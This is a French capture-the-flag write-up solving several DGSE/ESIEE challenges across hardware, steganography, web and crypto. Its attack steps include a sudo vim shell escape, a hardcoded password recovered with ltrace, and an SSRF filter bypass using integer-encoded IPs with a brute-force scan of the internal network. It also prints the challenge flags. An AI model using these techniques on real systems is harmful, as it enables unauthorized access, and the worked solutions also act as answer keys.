$ /usr/bin/sudo -u globalSystem vim :! /bin/sh $ id uid=1001(globalSystem) gid=1001(globalSystem) groups=1001(globalSystem)

Maintenant, l’étape d’après. On effectue la même démarche pour savoir si sudo permet de lancer des commandes en tant que navigationSystem.

$ sudo -l
Matching Defaults entries for globalSystem on b43e27468d7b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD

User globalSystem may run the following commands on b43e27468d7b:
    (navigationSystem) NOPASSWD: /usr/bin/update

On a la possibilité d’exécuter le binaire update avec l’utilisateur ciblé, mais comme ce n’est pas une commande Linux standard, il faut investiguer davantage.

$ sudo -u navigationSystem /usr/bin/update
usage : /usr/bin/update password
$ sudo -u navigationSystem /usr/bin/update aaa
Wrong password

La solution la plus simple est de rappatrier le binaire pour l’analyser en local. Le simple fait de le lancer via  ltrace donne le mot de passe attendu :

$ ltrace ./update aaa
[...]
strcmp("AloneIsTheBest", "aaa")   = -32
puts("Wrong password"Wrong password

On peut alors utiliser ce mot de passe avec le binaire du serveur, ce qui fournit une invite de commandes avec les permissions adéquates pour lire le flag.

$ sudo -u navigationSystem /usr/bin/update AloneIsTheBest
[...]
navigationSystem@b43e27468d7b:/home/user$ cat ../navigationSystem/flag.txt 
DGSESIEE{44adfb64ff382f6433eeb03ed829afe0}

ASCII UART (Hardware, 100 points)

La description de la mission est :

Un informateur a intercepté un message binaire transmis sur un câble. Il a rapidement enregistré via la carte son d'un PC les données en 8 bits signés (ascii_uart.raw). Dans la précipitation, il a oublié de noter la fréquence d'échantillonnage. Retrouvez le message.

Le flag est de la forme DGSESIEE{X} avec X le message

ascii_uart.raw (SHA256=0421ace2bbacbb5a812868b0dbb38a23533cda67bf7f00b1031fdbd7a228c8a5) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/ascii_uart.raw 

UART est une implémentation du standard  RS232.

Les niveaux de tension associés sont :

  • +3 to +15 V pour un bit 0;
  • −15 to −3 V pour un bit 1.

Quantités de sites Web indiquent comment RS232 fonctionne :

Les données sont transmises en utilisant :

  • un bit start, toujours 0 ;
  • 7 ou 8 bits de données ;
  • 1 ou 2 bits de parité : ici, la quantité de bits à 1 dans les données et la parité doit être paire ;
  • un bit stop, toujours 1.

La fréquence de chaque octet à l’intérieur du fichier ascii_uart.raw peut être déterminée avec le script Perl uart-study.pl ;

$ perl ./uart-study.pl < ascii_uart.raw | grep -v ' : 0'
120 : 55908
121 : 55991
122 : 55830
123 : 55507
124 : 55778
125 : 55554
126 : 55871
127 : 55676
128 : 37107
129 : 37033
130 : 37068
131 : 36942
132 : 37116
133 : 36900
134 : 36869
135 : 36981

A titre indicatif, la conversion entre octet signé et non signé est montrée par l’auxiliaire d’aide sign.c :

$ ./sign 
signed 118 -> unsigned 118
signed 119 -> unsigned 119
signed 120 -> unsigned 120
signed 121 -> unsigned 121
signed 122 -> unsigned 122
signed 123 -> unsigned 123
signed 124 -> unsigned 124
signed 125 -> unsigned 125
signed 126 -> unsigned 126
signed 127 -> unsigned 127
signed -128 -> unsigned 128
signed -127 -> unsigned 129
signed -126 -> unsigned 130
signed -125 -> unsigned 131
signed -124 -> unsigned 132
signed -123 -> unsigned 133
signed -122 -> unsigned 134
signed -121 -> unsigned 135
signed -120 -> unsigned 136
signed -119 -> unsigned 137

Comme les valeurs allant de 120 à 127 sont plus fréquentes, ces octets devraient représenter l’état de repos, et ainsi l’encodage d’un bit à 1. Donc les octets de 128 à 135 devraient encoder un bit à 0.

L’étape suivante est de retrouver les fronts montants.

En étudiant le flux binaire, la distance d’échantillonnage entre fronts montants semble être 638 ou un multiple de 638. Comme un octet d’origine est transmis avec 1 + 8 + 1 + 1 = 11 bits, le message d’origine peut être retrouvé grâce au script Perl uart.pl, qui lit le flux et accumule les octets d’origine :

$ perl ./uart.pl < ascii_uart.raw
[...]
#742123: value=123 level=1 duration=032263       bit_count=0.000000 
#742124: value=124 level=1 duration=032264       bit_count=0.000000 
#742125: value=123 level=1 duration=032265       bit_count=0.000000 
#742126: value=123 level=1 duration=032266       bit_count=0.000000 
#742127: value=123 level=1 duration=032267       bit_count=0.000000 
#742128: value=123 level=1 duration=032268       bit_count=0.000000 
#742129: value=122 level=1 duration=032269       bit_count=0.000000 
#742130: value=123 level=1 duration=032270 front bit_count=50.579937 byte limit 0 10111110 0 1 /}/ /DGSESIEE{ d[-_-]b  \_(''/)_/  (^_-)   @}-;---    (*^_^*)  \o/ }/ 

Note : en manipulant le flux, les pertes de synchronisation sont corrigées en détectant les séquences trop longues sans bit de  start. Les trames avec une erreur de parity sont écartées.

Automatos (Stegano, 300 points)

Les détails opérationnels de la mission sont :

Un de nos agents ne répond plus depuis quelques jours, nous avons reçu un mail avec une photo d'archives de Brigitte Friang. Cela ne peut pas être une coïncidence. Il a certainement cherché à cacher des informations dans l'image. Nous devons le secourir au plus vite, il est certainement en danger et sur écoute.

Le flag est juste une chaîne de caractères

brigitte.png (SHA256=31b88d96ff54ef15e6c995aac5a1759068ac8ba43d3cbdf561c7ea44ab42d735) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/brigitte.png 

Le script Python mask.py extrait toutes les couleurs RGB à partir de l’image brigitte.png, bits par bits, et produit de nouveaux fichiers PNG pour chacun d’eux.

$ python3 ./mask.py 
[i] Processing bit 0
[i] Processing bit 1
[i] Processing bit 2
[i] Processing bit 3
[i] Processing bit 4
[i] Processing bit 5
[i] Processing bit 6
[i] Processing bit 7

En observant les couches RGB de l’image, une tuile apparaît distinctement pour la couleur rouge :

Pixels avec le plus faible bit de couleur rouge défini

Pixels avec le plus faible bit de couleur verte défini

Pixels avec le plus faible bit de couleur bleue défini

Des données semblent encodées dans cette petite tuile de 20×20, localisée à (500, 200) :

Le script Python tile.py a été développé pour analyser les pixels :

Quelques faits peuvent être observés :

  • la plupart des pixels n’ont pas de valeur lsb définie ;
  • 19 pixels portent des valeurs dans leurs 5 bits de poids faible (ici en rouge, avec le masque 0x1f) ;
  • la première colonne et la dernière ligne sont vides en considérant les valeurs lsb uniquement.

Le script Python peut être raffiné pour montrer la valeur décimale encodée pour chaque pixel rouge :

Cette sorte de représentation rappelle une table de transition d’automate.

Ainsi, la méthode pour lire les données est :

  • partir de la ligne 1, lire 1, sortie à la colone 9;
  • partir de la ligne 9, lire 18, sortie à la colone 11;
  • partir de la ligne 11, lire 2, sortie à la colone 14;
  • partir de la ligne 14, lire 18, sortie à la colone 3;
  • etc.

Si 1 est la première lettre de l’alphabet, le contenu peut être décodé avec ce code Python :

''.join([ chr(0x40 + x) for x in [1, 18, 2, 18, 5, 4, 5, 16, 15, 9, 4, 19, 13, 9, 14, 9, 13, 21, 13] ])
'ARBREDEPOIDSMINIMUM'

ChatBot (Web, 100 points)

La description pour ce challenge est ce texte :

EvilGouv a récemment ouvert un service de chat-bot, vous savez ces trucs que personne n'aime. Bon en plus d'être particulièrement nul, il doit forcément y avoir une faille. Trouvez un moyen d'accéder à l'intranet !

Lien : https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4

Indice : Réseau local

Le flag est de la forme : DGSESIEE{x} avec x un hash 

Ce challenge demande d’accéder au flag qui se trouve sur un réseau intranet de la cible. Le point d’entrée est l’application Chatbot qui tourne en Javascript du côté navigateur.

Le Chatbot étant élaboré en Javascript, la première étape est de plonger dans son code pour découvrir comment il fonctionne.

En regardant le Javascript, on peut trouver quelles requêtes sont faites sur le backend.

function askBot(message) {
    var url = window.location.href + "bot?message=" + message;
    fetch(url)
        .then(function (res) {
            res.json().then(function(data){
                var message = urlify(data.message)
                var urls = data.message.match(urlRegex);
                if (urls && urls.length > 0) {
                    var url = window.location.href + "proxy?url=" + urls[0];
                    fetch(url)
                        .then(function (res) {
                            console.log(res);
                            res.json()
                                .then(function (data) {
                                    if(data.err){
                                        addMessageContact(message,null);
                                    }
                                    else{
                                        addMessageContact(message,data);
                                    }
                                }).catch(function (err) {
                                    addMessageContact(message,null);
                                });
                        });
                } else {
                    addMessageContact(message,null);
                }
            });
        });
}

On peut voir que le Chatbot reçoit normalement sa réponse en utilisant le point de connexion suivant :

GET bot?message=message

Mais un autre point de connexion est également utilisé lorsque le message contient une URL :

GET proxy?url=url

La réponse reçue après consultation de ce endpoint laisse à penser que le serveur backend va récupérer le contenu du champ « url » spécifié :

$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://doihaveinternet.com/
{"contents":"<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <title>Do I Have Internet</title>\n    <style>\n      body{\n        font-family: sans-serif;\n        background-color: #000;\n        color:white;\n        display:flex;\n        align-items: center;\n        justify-content: center;\n        height:100vh;\n        padding:0;\n      }\n\n      #statusBox{\n        flex: auto;\n        width:75%;\n        text-align: center;\n        font-size: 5rem;\n      }\n\n      h2{\n        font-size:2rem;\n        font-weight:100;\n      }\n\n      a{\n        color:white;\n        background-color: black;\n        text-decoration: none;\n      }\n\n      a:hover{\n        color:black;\n        background-color: white;\n      }\n    </style>\n  </head>\n  <body>\n    <div id=\"statusBox\">\n      <h1 id=\"status\"/>\n      <h2>This incredibly useful service brought to you by <a href=\"http://shaungreiner.com\">Shaun&nbsp;Greiner</a>.</h2>\n    </div>\n      <script type=\"text/javascript\">\n      function updateStatus(){\n        var status;\n        status = navigator.onLine ? \"Yes.\" : \"No. :(\";\n        document.getElementById(\"status\").innerHTML=status;\n      }\n      updateStatus();\n      setInterval(updateStatus,1000);\n      </script>\n      <script>\n        (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n        (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n        m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n        })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n        ga('create', 'UA-12905503-1', 'auto');\n        ga('send', 'pageview');\n    </script>\n  </body>\n</html>\n","title":"Do I Have Internet","icon":"Null"}

On peut voir que le endpoint retourne le contenu HTML de l’url spécifiée. A partir de là, on peut deviner qu’il est possible de requêter le réseau local du serveur backend.

On essaie tout d’abord d’accéder à une adresse locale classique : 192.168.0.1.

$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://192.168.0.1/
Forbidden

La réponse indique que nous ne disposons pas de l’autorisation nécessaire pour accéder à la ressource, ce qui veut dire qu’une requête a bien été faite sur le réseau local ou qu’une telle requête a été bloquée de façon logique.

L’étape suivant est d’essayer de contourner le blocage logique s’il existe. Une intuition réside dans le fait qu’une expression régulière est utilisée pour filtrer les requêtes réalisées sur le réseau local.

Pour la contourner, on décider de se baser sur la représentation en entier d’une adresse IP pour envoyer la requête :

ip = (192 << 24) + (168 << 16) + 1
print(ip)
3232235521
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235521/
Not Found

On constate que l’accès n’est désormais plus restreint mais que l’IP utilisée ne conduit pas à un résultat positif.

Un bruteforce pourrait être utilisé sur toutes les adresses IP de la plage pour déterminer une adresse avec un résultat différent.

Mais avant d’exécuter ce bruteforce sur une plage IP /16 entière, on tente de limiter cette plage. Après quelques tests, on peut établir que seule la plage 192.168.0.0/24 constitue le réseau interne, car les requêtes sur les autres sous-réseaux renvoient une erreur 504 Gateway Time-out :

ip = (192 << 24) + (168 << 16) + (1 << 8) + 1
>>>print(ip)
3232235846
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235846/
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.15.12</center>
</body>
</html>

Une plage /24 contenant seulement 254 IP, on se lance dans un bruteforce :

from requests import get
from time import time

for i in range(254):
    ip = (192 << 24) + (168 << 16) + i
    start = time()
    r = get("https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://" + str(ip) + "/")
    end = time()
    print(i, end - start, r.status_code, r.text)

Ce script Python permet de trouver le flag localisé à la représentation de l’adresse IP 192.168.0.70:

$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235590/
{"contents":"<!DOCTYPE html>\n<html>\n\n<head>\n  <meta charset=\"utf-8\">\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/fontawesome/css/all.min.css\" rel=\"stylesheet\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/bootstrap/css/bootstrap.min.css\" rel=\"stylesheet\">\n  <link href=\"/35e334a1ef338faf064da9eb5f861d3c/css/style_index.css\" rel=\"stylesheet\">\n  <link rel=\"icon\" href=\"/35e334a1ef338faf064da9eb5f861d3c/img/favicon.ico\" />\n  <title>Evil Gouv intranet</title>\n</head>\n\n<body>\n  <div>\n    <h1>FLAG DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838}</h1>\n</div>\n</body>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/jquery-3.5.1.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/popper.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/bootstrap.min.js\"></script>\n\n</html>","title":"Evil Gouv intranet","icon":"Null"}

Définition (Misc, 50 points)

La description de ce challenge est la suivante :

Un de vos collègues a créé un petite énigme, il est un peu lourd et vous demande depuis des semaines de la résoudre, faites lui plaisir. Voici l'énigme : Quelle heure est-t-il ?

Connectez-vous via nc challengecybersec.fr 6660

Le flag est de la forme : DGSESIEE{x} avec x un hash 

Le temps Unix est le nombre de secondes qui se sont écoulées depuis l’époque Unix ; l’époque Unix est le 1er janvier 1970 à 00:00:00 UTC.

La page de manuel pour la commande date indique que le format %s fournit un tel nombre. La quantité de secondes peut être envoyée au serveur avec cette série de commandes  :

$ date +%s | nc challengecybersec.fr 6660
Entrez la reponse :
 > Bravo ! Voici le flag : DGSESIEE{cb3b3481e492ccc4db7374274d23c659}

Evil Cipher (Hardware, 400 points)

La toile de fond pour la mission est :

Evil Country a développé et implémenté sur FPGA son propre algorithme de chiffrement par blocs de 45 bits avec une clé de 64 bits. cipher.txt est un message chiffré avec la clé key=0x4447534553494545. Un agent a réussi à récupérer
- le code VHDL de l'algorithme (evil_cipher.vhd)
- la fin du package VHDL utilisé (extrait_galois_field.vhd)
- le schéma de la fonction permutation15 (permutation15.jpg)
- le schéma du composant key_expansion (key_expansion.jpg)

Un exemple de texte chiffré se trouve dans le fichier evil_example.txt (dans l'archive zip)

Déchiffrez le message.

Le flag est de la forme DGSESIEE{x} avec x un hash

evil_cipher.zip (SHA256=0b8ade55e61e2e0188cea2a3c004287ca16b9b1ee2951fa4ffe1b27963544434) : https://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/evil_cipher.zip

Le fichier ZIP contient :

  • des morceaux de VHDL : la phase de chiffrement, le code pour les permutations sur 45 bits et celui d’une ronde de chiffrement ;
  • la description de l’expansion de clef et des permutations sur 15 bits, sous forme d’images ;
  • un échantillon avec du texte en clair et sa version chiffrée ;
  • le contenu à déchiffrer.

A partir de l’échantillon, les données semblent traduites octet par octet avant d’être chiffrées. Par exemple :

01000100 01000111 01010011 01000101 01010011 01001001 01000101 01000101 01111011
 44 = D   47 = G   53 = S   45 = E   53 = S   49 = I   45 = E   45 = E   7b = { 

Quelques ressources en ligne aident à comprendre le VHDL au besoin :

L’élément clef est que les variables et les signaux sont différents : l’assignation d’une nouvelle valeur est effective immédiatement pour une variable, mais est prise en compte uniquement à la fin d’un processus pour les signaux.

Traduire le processus de permutation en code Python est relativement aisé :

Traduire l’expansion de clef requiert un peu d’aide de la part de GIMP, mais ne se révèle pas si compliqué :

Si le signal load est actif, la clef est chargée et conservée dans reg. Sinon, la nouvelle valeur de reg est calculée à partir de l’état précédent, avec trois opérations XOR pour définir les bits 9, 34 et 61.

rkey est construite avec les 45 bits de poids faible de reg.

Le reste du VHDL est plutôt lisible.

Une fois que la procédure de chiffrement est reproduite et validée avec l’échantillon fourni, on peut observer que la seconde ligne du contenu final à déchiffrer débute par DGSESIEE dans sa forme chiffrée.

Comme inverser le  chiffrement dans son ensemble est délicat du fait des multiples opérations XOR à l’intérieur de la ronde, un bruteforce sur le jeu de caractères [a-f0-9] a été choisi pour résoudre le problème :

In bruteforce we trust!

Avec le script Python evil-vhdl-boost.py, le drapeau peut ainsi être retrouvé, bloc de 45 bits par bloc de 45 bits.

Un module Python a aussi été développé pour accélérer la vitesse de cryptanalyse. Il peut être compilé et utilisé en exécutant :

$ export PYTHONPATH=$PWD/evilnative
$ make -C evilnative

Keypad Sniffer (Hardware, 150 points)

La mission est introduite par le texte suivant :

Le code d'accès d'un centre militaire de télécommunications est saisi sur un clavier. Un agent a accédé au matériel (Cf. photos face avant et face arrière du clavier) et a inséré un dispositif pour enregister les données binaires qui transitent sur le connecteur du clavier. Le fichier joint (keypad_sniffer.txt) comprend les données binaires (échantillonnées à une fréquence de 15 kHz) au moment où une personne autorisée rentrait le code d'accès. Retrouvez le code d'accès.

Le flag est de la forme DGSESIEE{X} où X est le code saisi

keypad_sniffer.txt (SHA256=f5660a0b1c8877b67d7e5ce85087138cbd0c061b0b244afc516c489b39a7f79d) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_sniffer.txt
keypad_face.jpg (SHA256=b39c0d732f645fc73f41f0955233bec3593008334a8796d2f1208346f927fef2) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_face.jpg
keypad_back.jpg (SHA256=1f5d41c3521d04494779e43a4d5fae7cb14aad44e6e99cf36642ff4e88fab69f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_back.jpg

Google avec sa fonctionnalité de recherche inversée d’images suggère « digicode arduino » comme objet de recherche. Cela conduit à une page Wiki expliquant comment composer avec des claviers :

Pour détecter un appui de touche, toutes les colonnes sont scannées, une par une ; si une ligne a le même état qu’une colonne scannée, cela signifie qu’il y a une connexion et que la touche correspondante est pressée !

La première étape est de retrouver les liens entre le clavier et l’unité de traitement :

Un peu d’analyse est nécessaire pour récupérer l’ordre de bits :

$ < keypad_sniffer.txt sed 's/^\(.\).*$/\1/' | sort | uniq
1
$ < keypad_sniffer.txt sed 's/^.*\(.\)$/\1/' | sort | uniq
0
1

Comme le premier chiffre est toujours constant et que le dernier ne l’est pas, le douzième lien sur le circuit imprimé est associé à ce premier nombre et les bits doivent être lus de droite (lien 1) à gauche (lien 12).

Des tests supplémentaires montrent que les pins 12-6 et 11-5 sont effectivement connectées :

$ < keypad_sniffer.txt sed 's/^\(.\).....\(.\).....$/\1-\2/' | sort | uniq
1-1
$ < keypad_sniffer.txt sed 's/^.\(.\).....\(.\)....$/\1-\2/' | sort | uniq
0-0

En observant les premières entrées, un motif devient visible sur la droite :

$ < keypad_sniffer.txt uniq | head -10
101111100111   # 0111
101111101011   # 1011
101111101101   # 1101
101111101110   # 1110
101111100111   # 0111
101111101011   # 1011
101111101101   # 1101
101111101110   # 1110
101111100111   # 0111
101111101011   # 1011

Il y a une itération sur les bits 1-4, où les bits sont mis à l’état bas, un à la fois.

Ceci pourrait être un scan de colonnes. Les bits 7-10 sont à l’état haut, ce qui signifie qu’aucun ne partage le même état que la colonne scannée. Donc aucune touche n’est appuyée.

En analysant les données, un soin doit être observé car la fréquence d’échantillonnage peut ne pas correspondre à la fréquence de l’unité de traitement :

  • des itérations sur les colonnes peuvent être sautées ;
  • les bascules d’état sur les lignes peuvent intervenir à tout moment pendant qu’une colonne est scannée.

Le script Python keypad-code.py parcourt in fine les événements du matériel :

$ python3 ./keypad-code.py 
[*] States for #0: 0, 1
[*] States for #1: 0, 1
[*] States for #2: 0, 1
[*] States for #3: 0, 1
[*] States for #4: 0
[*] States for #5: 1
[*] States for #6: 0, 1
[*] States for #7: 0, 1
[*] States for #8: 0, 1
[*] States for #9: 0, 1
[*] States for #10: 0
[*] States for #11: 1
[i] All ground links are consistent.
[i] Link 5-11: always 0
[i] Link 6-12: always 1
[i] Filtered 615535 samples
[!] Missed samples for column 0 @ 23324: "1110  1111  "
[!] Missed samples for column 1 @ 23324: "1110  1111  "
[!] Missed samples for column 2 @ 23324: "1110  1111  "
[!] Missed samples for column 0 @ 31129: "1110  1110  "
[!] Missed samples for column 1 @ 31129: "1110  1110  "
[!] Missed samples for column 2 @ 31129: "1110  1110  "
[!] Missed samples for column 1 @ 71187: "0111  1111  "
[!] Missed samples for column 2 @ 71187: "0111  1111  "
[!] Missed samples for column 3 @ 71187: "0111  1111  "
[i] Added 9 new samples
[i] Skipped 93456 samples with or without key pressed
[i] Retrieved code: AE78F55C666B23011924
[>] Flag is DGSESIEE{AE78F55C666B23011924}

L'énigme de la crypte (Crypto, 200 points)

Les instructions pour la mission sont :

Une livraison de souffre doit avoir lieu 47°N 34 2°W 1 39.

Elle sera effectuée par un certain REJEWSKI. Il a reçu des instructions sur un foulard pour signaler à Evil Gouv son arrivée imminente.

Nous avons une photo du foulard, mais celle-ci n'est pas très nette et nous n'avons pas pu lire toutes les informations. Le fichier foulard.txt, est la retranscription du foulard.

Nous avons un peu avancé sur les parties illisibles :

(texte illisible 1) est deux lettres un espace deux lettres. Il pourrait y avoir un lien avec le dernier code d'accès que vous avez envoyé à Antoine Rossignol.

(texte illisible 2) a été totalement effacé et enfin (texte illisible 3) semble être deux lettres.

REJEWSKI vient d'envoyer un message (final.txt). Il faut que vous arriviez à le déchiffrer. Je vous conseille d'utiliser openssl pour RSA.

Le flag est de la forme DGSESIEE{MESSAGE} où MESSAGE correspond à la partie centrale du texte en majuscules sans espace.

final.txt (SHA256=1e93526cd819aedb8496430a800a610068e95762536b0366ca7c303a74eaab03) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/final.txt
foulard.txt (SHA256=9c8b0caf9d72fa68ddb6b4a68e860ee594683f7fe4a01a821914539ef81a1f21) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/foulard.txt 

L’objectif est de retrouver un fichier d’abord chiffré avec une machine Enigma M3 puis avec RSA.

Déchiffrement RSA

Le modulo et l’exposant public sont donnés dans le fichier foulard.txt.

Modulus (décimal):

25195908475657893494027183240048398571429282126204032027777137836043662020707595556264018525880784406918290641249515082189298559149176184502808489120072844992687392807287776735971418347270261896375014971824691165077613379859095700097330459748808428401797429100642458691817195118746121515172654632282216870038352484922422622979684865170307405907272815653581732377164114195025335694039872221524699156538352092782201392513118326772302632498764753996118057437198905106508696675497143847180616766425109043955104189270381382844602871223783458512671511503420521749067165952916834014926827585314522687939452292676577212513301

PublicExponent (décimal) : 65537

Pour rappel :

  • le modulo n est le produit de deux nombres premiers p et q tel que n = pq et forme avec l’exposant la clé publique (n, e) ;
  • il est possible de retrouver la clé privée en factorisant ce nombre n (ie. retrouver p et q), et ainsi de déchiffrer les messages créés avec la clé publique associée.

Une analyse rapide permet de déterminer qu’il s’agit d’une clé de 2048 bits donc difficile à casser :

from math import log
>>> log(N) / log(2)
2047.6408959263592

Il est cependant possible de factoriser un nombre premier si les entiers p et q ont été mal choisis. On tente une factorisation avec un outil en ligne, Integer factorization calculator, trouvé par recherche Google :

25195 908475 657893 494027 183240 048398 571429 282126 204032 027777 137836 043662 020707 595556 264018 525880 784406 918290 641249 515082 189298 559149 176184 502808 489120 072844 992687 392807 287776 735971 418347 270261 896375 014971 824691 165077 613379 859095 700097 330459 748808 428401 797429 100642 458691 817195 118746 121515 172654 632282 216870 038352 484922 422622 979684 865170 307405 907272 815653 581732 377164 114195 025335 694039 872221 524699 156538 352092 782201 392513 118326 772302 632498 764753 996118 057437 198905 106508 696675 497143 847180 616766 425109 043955 104189 270381 382844 602871 223783 458512 671511 503420 521749 067165 952916 834014 926827 585314 522687 939452 292676 577212 513301 (617 digits) = 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 922072 509317 288610 921313 165983 511118 710663 006195 067967 359930 650798 771955 898733 591259 847660 546621 410836 961591 033768 576235 120772 719980 885978 288100 259351 535587 (309 digits) × 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 947270 302161 138343 957754 574996 070959 235670 661942 404500 680792 678841 762019 555105 315453 800615 468142 560756 025651 432301 649463 625322 248315 792212 286183 936318 080423 (309 digits)

D’où :

p = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587
q = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423

La clé privée peut être retrouvée avec l’outil rsatool.py disponible sur Github :

$ git clone https://github.com/ius/rsatool
$ sudo apt install gmp-dev
$ pip install gmpy
$ cd rsatool
$ python rsatool.py -f PEM -o priv.key -p 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587 -q 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423

Il ne reste plus qu’à déchiffrer le message :

$ openssl rsautl -decrypt -inkey priv.key -in final.txt -out final.txt.dec
$ cat final.txt.dec
IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD

Déchiffrement Enigma

Le protocole employé par les nazis était le suivant :

  1. Sélection des paramètres de la machine selon une « table de codes » indiquant, pour chaque jour du mois, les rotors utilisés, la position initiale, la position des anneaux, la configuration du « plug board » et le Kenngruppen. Le Kenngruppen étant un identifiant unique, pseudo-aléatoire, permettant au récepteur du message de retrouver la ligne du tableau correspondant au message chiffré et ainsi de dater l’envoi du message et les paramètres de la machine.

  2. Chiffrement d’une clé de message, équivalente à une clé de session, qui correspond à la position des rotors initiale pour le reste du message. La clé doit donc nécessairement être constituée de trois lettres, la machine M3 ne pouvant utiliser que trois rotors à la fois. Selon une source disponible sur Internet, Rejewski aurait analysé les textes chiffrés en sachant qu’il y avait correspondance entre la première lettre et la quatrième, entre la seconde et la cinquième et entre la troisième et la sixième. La clé secrète serait donc dupliquée une fois dans le chiffré résultant.

  3. Reconfiguration de la machine : utilisation de la clé de message comme nouvelle position initiale des rotors.

  4. Chiffrement du message.

  5. Envoi de la séquence Kenngruppen (en clair) + clé de message chiffrée + message chiffré.

Le Kenngruppen ne nous intéresse pas ici puisqu’il s’agit d’une séquence de lettres forcément associée à une « table de codes » qui n’est pas fournie. Le texte IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD correspondrait donc probablement à la clé de message chiffrée dupliquée une fois, suivie du message chiffré, suivi du nom du destinataire également chiffré.

D’après le document foulard.txt, la machine serait configurée de la façon suivante :

  • rotors, impairs uniquement, dans l’ordre croissant : (I III V) ou (I III VII) ou (I III VII) ou (I V VII);
  • position des rotors : MER;
  • position des anneaux : REJ;
  • plugboard, correspondant au résultat du pré-challenge « b a:e z » : (BA EZ) ou (BE AZ) ou (BZ AE).

On tente avec la configuration (I III V, MER, REJ, BA EZ) :

Le texte déchiffré démarre bien par une séquence de trois caractères, dupliquée une fois : ZFGZFG.

En testant les possibilités du plugboard, on obtient les séquences suivantes :

BA EZ => zfgzf gcmfq jlfjd tmorq gnfba qmucz qyrys noour
BE AZ => bfgbf gcmve jlfjg tmorq gnfzn qmucp qyrys noour
BZ AE => afgaf gcmcx jlfjv tmorq gnfeg qmucz qyrys noour

Il est possible que les textes illisibles 2 et 3 correspondent à une indication de la clé de message, qui débuterait donc par la lettre B – donc la configuration du plugboard (BE AZ).

On note cependant qu’il n’y aurait aucune raison dans une situation réelle de préciser la clé de message, puisqu’il suffirait au destinataire de simplement déchiffrer les trois premières lettres pour obtenir cette clé. Il s’agit donc soit d’un indice spécifiquement fait pour ce challenge, soit d’une information qui n’a rien à voir avec cette clé de message et qui n’était finalement pas très utile pour le compléter.

Après avoir reconfiguré la machine avec la nouvelle position des rotors BFG et supprimé les six premières lettres du message chiffré, on obtient :

NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD => lessa nglot slong sdesv iolon swjvd loit

Le flag correspond à la partie du texte « au milieu » dans le chiffré original NHABMPSVBYYUCJIYMJBRDWXAXP : LESSANGLOTSLONGSDESVIOLONS.

Les 8 derniers caractères correspondraient selon l’énoncé au nom de l’émetteur REJEWSKI. On l’obtient en réinitialisant la position des rotors avec la clé de message BFG :

THYVCROD => rejew ski

Le discret Napier (Crypto, 150 points)

La situation courante est :

Stockos a encore choisi un code d'accès qui est solution d'une énigme mathématique ! Retrouvez x tel que : 17^x ≡ 183512102249711162422426526694763570228 [207419578609033051199924683129295125643]

Le flag est de la forme : DGSESIEE{x} avec x la solution 

Ceci est un problème typique de logarithme discret.

Même si des mathématiques compliquées se retrouvent associées au domaine, des outils comme sage ou Magma contiennent tout le nécessaire pour déterminer le résultat attendu.

